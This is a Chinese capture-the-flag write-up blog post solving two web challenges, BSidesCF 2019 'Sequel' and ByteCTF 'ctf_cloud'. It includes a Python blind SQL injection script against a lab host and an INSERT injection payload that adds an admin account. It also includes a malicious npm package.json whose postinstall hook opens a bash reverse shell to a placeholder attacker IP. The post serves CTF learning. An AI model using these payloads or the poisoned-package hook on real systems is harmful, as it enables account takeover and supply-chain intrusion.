本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[BSidesCF 2019]Sequel
涉及知识点
-sqlit注入
exp
import requests
import base64
import string
import sys
import time
out = ""
while True:
for letter in string.printable:
tmp = out + letter
if letter == 'g': continue
payload = r'{{"username":"" OR EXISTS(SELECT password FROM userinfo WHERE password LIKE "{}" limit 1) OR "","password":"guest"}}'.format(
tmp + '%')
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
time.sleep(0.5)
r = requests.get(
'http://25409bfe-a945-4cd2-b15d-faf4167497a8.node4.buuoj.cn:81/sequels', cookies={"1337_AUTH": payload})
if "Movie" in r.text:
out = tmp
sys.stdout.write(letter)
sys.stdout.flush()
break
[WMCTF2020]Web Check in 2.0
二:ByteCtf
感觉这次比赛的质量很好,题目涉及不知道的知识点时需要自行学习,提升还是很大的。
ctf_cloud
涉及知识
- sqlit注入
- npm投毒
\
解题过程
下载附件进行代码审计,发现可疑处
上面的sql语句都是很规范的,就这存在变量拼接,意图很明显
又由db.sql文件了解表中有三个字段
在注册时抓包
修改如下并注册
{"username":"123","password":"123','0'),('admin',123123,1)--,"}
这样就可以达到插入数据的目的
之后看到有个设置依赖
找到对应路由看看
这是为其设置安装包的包名和版本
然后编译就是安装次npm包
所以我们只要编译一个恶意的npm包上去,让其下载就可以达到投毒的目的
上传恶意npm包
首先创建一个npm仓库账号,完成之后在服务器上创建两个文件
\
package.json
{
"name": "lengf233",
"version": "1.0.0",
"description": "test",
"main": "index.js",
"scripts": {
"postinstall": "bash -c 'bash -i >& /dev/tcp/your_ip/2333 0>&1'"
},
"author": "",
"license": "ISC"
}
index.js
exports.showMsg = function () {
console.log("This is my first module");
};
创建好了之后先在服务器上用命令登录npm仓库
npm login
之后
在本目录下执行
npm init
npm public
就ok了
接下来就是给他设置依赖了
点击编译,之后就反弹shell到服务器上了
参考
SCTF2019 部分题目WriteUp – glzjin (zhaoj.in)
这题学到了npm投毒这个新操作感觉很棒!